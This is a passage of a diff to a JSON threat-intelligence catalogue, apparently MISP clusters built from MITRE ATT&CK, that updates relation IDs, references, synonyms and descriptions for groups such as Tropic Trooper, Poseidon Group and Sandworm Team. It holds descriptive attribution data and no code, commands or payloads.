transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)", + "meta": { + "external_id": "G0081", + "refs": [ + "https://attack.mitre.org/groups/G0081", + "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", + "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", + "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/" + ], + "synonyms": [ + "Tropic Trooper", + "Pirate Panda", + "KeyBoy" + ] + }, + "related": [ + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2167,7 +2678,7 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2181,7 +2692,7 @@ "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2195,14 +2706,14 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2216,7 +2727,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2230,7 +2741,7 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2250,13 +2761,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -2279,7 +2783,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2291,6 +2795,174 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "75bba379-4ba1-467e-8c60-ec2b269ee984", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "56319646-eb6e-41fc-ae53-aadfa7adb924", @@ -2334,7 +3006,7 @@ "type": "similar" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2362,77 +3034,70 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2446,7 +3111,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2495,21 +3160,21 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2544,7 +3209,7 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2558,14 +3223,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2607,7 +3265,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2649,21 +3307,21 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2677,7 +3335,7 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2691,7 +3349,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2726,14 +3384,14 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2747,14 +3405,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2768,14 +3419,14 @@ "type": "uses" }, { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7", + "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2822,6 +3473,55 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aad11e34-02ca-4220-91cd-2ed420af4db3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a", @@ -2865,14 +3565,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2886,7 +3586,7 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2959,7 +3659,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2997,14 +3697,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3032,7 +3732,14 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3043,18 +3750,26 @@ "value": "Poseidon Group - G0033" }, { - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015.\n (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)", "meta": { "external_id": "G0034", "refs": [ "https://attack.mitre.org/groups/G0034", "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/", - "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf", - "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + "https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/", + "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory", + "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", + "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/", + "https://www.dragos.com/resource/electrum/", + "https://www.secureworks.com/research/threat-profiles/iron-viking" ], "synonyms": [ "Sandworm Team", + "ELECTRUM", + "Telebots", + "IRON VIKING", + "BlackEnergy (Group)", "Quedagh", "VOODOO BEAR" ] @@ -3087,6 +3802,251 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "051eaca1-958f-4091-9e5f-a9acd8f820b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "11194d8b-fdce-45d2-8047-df15bb8f16bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3249e92a-870b-426d-8790-ba311c1abfb4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5719af9d-6b16-46f9-9b28-fb019541ddbb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192", @@ -3120,7 +4080,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3148,28 +4108,28 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3183,7 +4143,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3209,6 +4169,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "894aab42-3371-47b1-8859-a4a074c804c8", @@ -3235,7 +4202,7 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3249,21 +4216,21 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3277,21 +4244,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": 